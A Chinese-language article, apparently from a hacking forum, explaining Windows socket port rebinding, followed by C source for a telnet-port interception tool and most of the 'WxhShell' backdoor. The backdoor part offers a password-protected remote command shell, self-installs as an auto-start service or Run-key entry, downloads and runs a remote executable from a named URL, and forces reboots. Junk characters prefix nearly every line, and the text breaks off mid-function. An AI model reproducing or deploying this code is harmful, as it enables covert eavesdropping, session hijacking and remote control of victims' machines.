在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/"Z6\T9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,RA;X wWh)yfPh8H saddr.sin_family = AF_INET;
F' NX M&93TQU- saddr.sin_addr.s_addr = htonl(INADDR_ANY);
+1uAzm4SL G@.TE7a2Z bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
{hP_"nN# {Yt@H 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
W##~gqZ/ xAZ-_}'tW 这意味着什么?意味着可以进行如下的攻击:
3zr95$Mt {jK:hQX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V"A*k^} o+}>E31a 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0Z11V9Jk L\GjG&Y5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
cN?}s0 $;k2b4u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<SPT2NyX !e<D2><^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
yJ0q)x sS J*%XtRio 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8.Z9 i ;z Qrree# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
$2><4~T;|A j0X Jf< #include
u#Z#NP ~F0 #include
bF"1M#u: #include
9ZYT#h #include
ntZl(] l DWORD WINAPI ClientThread(LPVOID lpParam);
Y8s.Q int main()
K{vn[} {
.%x1%TN WORD wVersionRequested;
W Z_yaG$U DWORD ret;
&{gD(QG WSADATA wsaData;
9w"kxAN BOOL val;
mS]& SOCKADDR_IN saddr;
ge[hAI2I SOCKADDR_IN scaddr;
9f|+LN## int err;
TF[8r[93 SOCKET s;
A0A]#=S SOCKET sc;
LBw$K0 int caddsize;
}w|a^=HAp HANDLE mt;
DwNEqHi DWORD tid;
S.! n35 wVersionRequested = MAKEWORD( 2, 2 );
W }"n* err = WSAStartup( wVersionRequested, &wsaData );
^U8^P]{R| if ( err != 0 ) {
Mhwuh`v% printf("error!WSAStartup failed!\n");
5ltrr(MeD return -1;
wk@S+Q }
0Mo?9?? saddr.sin_family = AF_INET;
}2!=1|} JtbwY@R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|ctcY*+ zF7*T?3b" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@dHQ}Ni saddr.sin_port = htons(23);
]Jum(1Bo if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kc:>[ {9 {
[" PRxl printf("error!socket failed!\n");
DKG99biJN return -1;
b"PRa|] }
"3Lq/mJYnZ val = TRUE;
4~DW7( //SO_REUSEADDR选项就是可以实现端口重绑定的
)wb&kug- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<l`xP)] X {
voitdz printf("error!setsockopt failed!\n");
I #bta return -1;
J+:gIszsWT }
>s;>"] //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
mE)I(< % //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/4M~ 6LT` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vxt<}h5J/! +#LD@)G if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Q|]
9 {
1(`UzC=R| ret=GetLastError();
Pe`eF(J printf("error!bind failed!\n");
Rch?@O#J return -1;
_9B ^@~ }
\-Ipa59U listen(s,2);
H\^zp5/ while(1)
Ty5}5)CRZ {
vdFP ^06 caddsize = sizeof(scaddr);
a
j13cC$ //接受连接请求
wticA#mb sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>&?k^nI}J if(sc!=INVALID_SOCKET)
U^~jB= =] {
N_Q\+x}zq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
\ 0J&^C if(mt==NULL)
8Rr ic[v {
^)i1b:4 printf("Thread Creat Failed!\n");
B4kJ 7Pdny break;
XR@C^d }
{IG5qi?/E) }
=P)H3|AdIm CloseHandle(mt);
0)HZ5^J }
L^%jR= closesocket(s);
NU/:jr.W# WSACleanup();
P7|x=Ew;` return 0;
'(-SuaH49 }
)W0z DWORD WINAPI ClientThread(LPVOID lpParam)
gu|cQ2xV {
UgC{ SOCKET ss = (SOCKET)lpParam;
gBPYGci2F SOCKET sc;
Sf"]enwB unsigned char buf[4096];
? f>pKe SOCKADDR_IN saddr;
2J1YrHj3 long num;
G5hh$Nmpi DWORD val;
eW/sPQ- DWORD ret;
1@6FV x //如果是隐藏端口应用的话,可以在此处加一些判断
FJH'!P\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!W48sZr1& saddr.sin_family = AF_INET;
_gn`Y(c$% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]`H8r y2 saddr.sin_port = htons(23);
[7sy}UH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T^1]|P {
1J?x2 printf("error!socket failed!\n");
90[?)s return -1;
&
G8tb>q<V }
#Ks2a):8 val = 100;
N799@:. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Y-y<gW {
9yWQ}h ret = GetLastError();
>j}.~$6dj_ return -1;
m6iQB\ \ }
=ec"G2$?" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|x/00XhS {
W, -fnJk ret = GetLastError();
TZ>_N;jTZ return -1;
m0[JiwPI }
)zYm]\@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Pp~:e} {
sUTfY|<7| printf("error!socket connect failed!\n");
*-lw2M9V closesocket(sc);
"&{sE RYY closesocket(ss);
am(jmf:: return -1;
]<g`rR7} }
t/Y)% N while(1)
xa]e9u% {
s:f%=4-7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)a0%62 //如果是嗅探内容的话,可以再此处进行内容分析和记录
;($" _h //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/^^wHW: num = recv(ss,buf,4096,0);
R8n/QCeY{ if(num>0)
0fP-[7P send(sc,buf,num,0);
N2/t else if(num==0)
`zjbyY break;
-JwwD6D num = recv(sc,buf,4096,0);
2|:xb9# if(num>0)
riz[AAB send(ss,buf,num,0);
d%w#a3( else if(num==0)
aA3KJa break;
n"dYN3dE }
H=1Jq closesocket(ss);
5A`T}~"X closesocket(sc);
V^/]h
u return 0 ;
*r|)@K| }
YfZ96C[a f>kW\uC EI!e0V1! ==========================================================
f.Feo /+zzZnLl-M 下边附上一个代码,,WXhSHELL
7%F8 {ZR>`'^: ==========================================================
hsE Q6 KDEcR #include "stdafx.h"
,[{Z_co 9}*<8%PSt, #include <stdio.h>
ie9,ye" #include <string.h>
*C"-$WU3o #include <windows.h>
8sz|9~ #include <winsock2.h>
:0'2m@x~ #include <winsvc.h>
'BmLR{[2L #include <urlmon.h>
29~Bu5 .^aqzA=] #pragma comment (lib, "Ws2_32.lib")
NU{`eM #pragma comment (lib, "urlmon.lib")
N "Mw1R4 ux=0N]lc #define MAX_USER 100 // 最大客户端连接数
A$;"9F@ #define BUF_SOCK 200 // sock buffer
%IhUQ6 #define KEY_BUFF 255 // 输入 buffer
*!-J"h }<KQ+ #define REBOOT 0 // 重启
F* h\ #? #define SHUTDOWN 1 // 关机
9?L,DThQ KVA~|j B #define DEF_PORT 5000 // 监听端口
AttS?TZr &m8Z3+Ea #define REG_LEN 16 // 注册表键长度
Dg~L" #define SVC_LEN 80 // NT服务名长度
Z@d(0 z [44C`x[8M+ // 从dll定义API
V9cKl[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
GT3?)g{Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
4ht+u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
uqFYa bU typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
bz4TbGg] ^j>w<ljzz // wxhshell配置信息
TeXt'G=M struct WSCFG {
}V I}O{ int ws_port; // 监听端口
j|X>:!4r char ws_passstr[REG_LEN]; // 口令
2ms@CQy(00 int ws_autoins; // 安装标记, 1=yes 0=no
zc#$hIi char ws_regname[REG_LEN]; // 注册表键名
>J,y1jzJ char ws_svcname[REG_LEN]; // 服务名
\I[50eh| char ws_svcdisp[SVC_LEN]; // 服务显示名
GO<,zOqvU char ws_svcdesc[SVC_LEN]; // 服务描述信息
"B"Yfg[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
( {}Z
' int ws_downexe; // 下载执行标记, 1=yes 0=no
*%;+3SV char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
RwyRPc_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`Eq~W@';Q0 MeMSF8zSQ };
f tE2@} w0(1o_F7. // default Wxhshell configuration
rmh 1.W struct WSCFG wscfg={DEF_PORT,
wM
aqR"% "xuhuanlingzhe",
"2
"gTS 1,
;(I')[R" "Wxhshell",
EnD}|9
"Wxhshell",
.{ +Obi "WxhShell Service",
e|2@z-Sp- "Wrsky Windows CmdShell Service",
RP|/rd]-k "Please Input Your Password: ",
:y%CP8 1,
io{\+%;b~ "
http://www.wrsky.com/wxhshell.exe",
[:*Jn} "Wxhshell.exe"
3d81]!n };
6xq/ 4/:}K>S_ // 消息定义模块
vWpoaz/w char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
e$=UA% char *msg_ws_prompt="\n\r? for help\n\r#>";
*s1^s;LR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
BfUM+RC%5 char *msg_ws_ext="\n\rExit.";
.m/$ku{/J char *msg_ws_end="\n\rQuit.";
`j)S7KN char *msg_ws_boot="\n\rReboot...";
#ssSs]zl char *msg_ws_poff="\n\rShutdown...";
jS<(Oo char *msg_ws_down="\n\rSave to ";
%f'mW2 E=eK(t(8 char *msg_ws_err="\n\rErr!";
noL&>G char *msg_ws_ok="\n\rOK!";
.XTR
HL*: ]~!?(d!J/ char ExeFile[MAX_PATH];
).l`N&_peM int nUser = 0;
PT/TQW HANDLE handles[MAX_USER];
@B#\3WNt int OsIsNt;
;FfDi*S7 S;L=W9=wby SERVICE_STATUS serviceStatus;
bpp{Z1/4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
K}e:zR;;^ X" m0|| // 函数声明
E8LA+dKN: int Install(void);
F(}~~EtPHo int Uninstall(void);
CaE1h9 int DownloadFile(char *sURL, SOCKET wsh);
RJhafUJ zH int Boot(int flag);
R.'-jvO void HideProc(void);
h}$g}f%$+ int GetOsVer(void);
4Fs5@@>X int Wxhshell(SOCKET wsl);
RM|2PG1m void TalkWithClient(void *cs);
2uZ4$_ int CmdShell(SOCKET sock);
R q
|,@ int StartFromService(void);
fWk,k*Z9 int StartWxhshell(LPSTR lpCmdLine);
ta+MH, L5j%4BlK/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
!9p;%Ny` VOID WINAPI NTServiceHandler( DWORD fdwControl );
AS?
ESDC |9'`;4W // 数据结构和表定义
kfj)`x SERVICE_TABLE_ENTRY DispatchTable[] =
z}z 6Vg {
T0TgV {wscfg.ws_svcname, NTServiceMain},
k3yA*Ec {NULL, NULL}
=9yh<'583 };
$s.:H4:I #Ex NiFZ // 自我安装
xP+`scv*m# int Install(void)
hteAuz4H {
4}xw&x char svExeFile[MAX_PATH];
<reALC HKEY key;
0Fc^c[ strcpy(svExeFile,ExeFile);
3LW_qX :}* // 如果是win9x系统,修改注册表设为自启动
sFbN)Cx if(!OsIsNt) {
o|G[/o2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XDQ5qfE| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wSd|-e RegCloseKey(key);
JEh(A=Eu> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?[VL
2dP0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#UesXv RegCloseKey(key);
&m=73RN return 0;
{16]8-pe }
R(AS$<p{!> }
&,8F!)[9 }
J5Ovj,[EZ else {
;1AXu/ m-u0U // 如果是NT以上系统,安装为系统服务
slTE. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
q/#pol if (schSCManager!=0)
r\T'_wo {
/nWBo l, SC_HANDLE schService = CreateService
Q&]f9j_ (
-qqI@+u+ schSCManager,
G0~6A@> wscfg.ws_svcname,
4..M *U wscfg.ws_svcdisp,
[JVEKc ym SERVICE_ALL_ACCESS,
!*e1F9k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
qd<-{ SERVICE_AUTO_START,
Lvd es.0| SERVICE_ERROR_NORMAL,
v2l*n svExeFile,
cw3j&k NULL,
N@#,Y nPI NULL,
Lm3~< vP1e NULL,
4&kC8
[ r NULL,
YN}vAFR` NULL
S7
!;Z@ );
Zk ] /m if (schService!=0)
:i9=Wj {
!rsGCw!Pg CloseServiceHandle(schService);
?>s[B7wMp CloseServiceHandle(schSCManager);
`nrw[M? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
WCD)yTg:ES strcat(svExeFile,wscfg.ws_svcname);
*$Z,kZ^^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
eXQLE]L] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|i\%>Y, RegCloseKey(key);
BIh^b?:zU return 0;
LU $=j }
b.j$Gna>Q }
dym K @ CloseServiceHandle(schSCManager);
}0V aZ<j }
8I[=iU7]l }
Ef$a&*)PH 43?uTnX/ return 1;
M;LR$'cP }
ZM16 ~k b/"gUYo // 自我卸载
>@)p*y.K int Uninstall(void)
0[]) wl {
V+5av Z} HKEY key;
v`@M IOv p1UYkmx[ if(!OsIsNt) {
UvR.?js(O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0bG#'.- RegDeleteValue(key,wscfg.ws_regname);
8b!xMFF" RegCloseKey(key);
AO238RC!: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
N*+ L'bO RegDeleteValue(key,wscfg.ws_regname);
OcLahz6 RegCloseKey(key);
)G),iy return 0;
Z4oD6k5oc }
+rJDDIb }
:s*t\09V7 }
hg2Ywzfm- else {
2]]}Xvx4# h~lps?.#b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ot0g@q[3 if (schSCManager!=0)
GkpYf~\Q {
n^|SN9_r SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
K0~=9/ if (schService!=0)
^8KxU {
,T*\9'Q if(DeleteService(schService)!=0) {
)#8}xAjV CloseServiceHandle(schService);
6 2#@Y-5 CloseServiceHandle(schSCManager);
Gz52^O: return 0;
U+R9bn }
,FwpHs $A CloseServiceHandle(schService);
M`n0
qy }
}kG>6_p? CloseServiceHandle(schSCManager);
D#P]tt.Z }
w3;{z ,,T }
tA]u=-_h T+q5~~\d return 1;
NxSSRv^rx }
*zQhTYY Id1de>:; // 从指定url下载文件
orOq5?3 int DownloadFile(char *sURL, SOCKET wsh)
EU
Z7?4o {
z\"9T?zoo HRESULT hr;
osc A\r char seps[]= "/";
fZoQQ[s char *token;
h$mGawvZ~ char *file;
PhAD:A char myURL[MAX_PATH];
{#~A `crO char myFILE[MAX_PATH];
a6@k*9D> jvxCCYXR strcpy(myURL,sURL);
&kcmkRRG token=strtok(myURL,seps);
RxS{ while(token!=NULL)
W[sQ_Z1C {
P%ThW9^vnj file=token;
>;l rH& token=strtok(NULL,seps);
-24ccN; }
P_5 G'[ Cn0s?3Fm GetCurrentDirectory(MAX_PATH,myFILE);
HQ wrb HS strcat(myFILE, "\\");
`n@;%*6/ strcat(myFILE, file);
hXvC>ie(i send(wsh,myFILE,strlen(myFILE),0);
;66{S'*[ send(wsh,"...",3,0);
3-oKY*jO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Vju/+ if(hr==S_OK)
e,Z[Nox return 0;
zJ$U5r/u else
M N (o return 1;
6VS_L@ %g^:0me` }
F|cli
< L)8%*X // 系统电源模块
U_hzSf int Boot(int flag)
J\>/J% {
nBLb1T HANDLE hToken;
Q~/=p>=uu TOKEN_PRIVILEGES tkp;
7nBX@Uo -p%cw0*Y]C if(OsIsNt) {
=v0w\(
?N OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_Fn`G.r< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
W7;RQ tkp.PrivilegeCount = 1;
Al]*iw{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
O \gVB!x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
&-w. rF@ if(flag==REBOOT) {
jcjl q-x if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
wz{c;v\J^ return 0;
*CbV/j"P? }
_[Sh`4`r else {
Ms5R7<O.7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
f]mVM(XZN return 0;
R\Ckk;<$ }
OI8}v }
\%9QE else {
dWu;F^ if(flag==REBOOT) {
*yY\d.6( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ef!f4u\ return 0;
LM 1Vsh< }
-r]L MQ else {
k2.k}?w!JO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
2 <@g * return 0;
kem(U{m }
B&B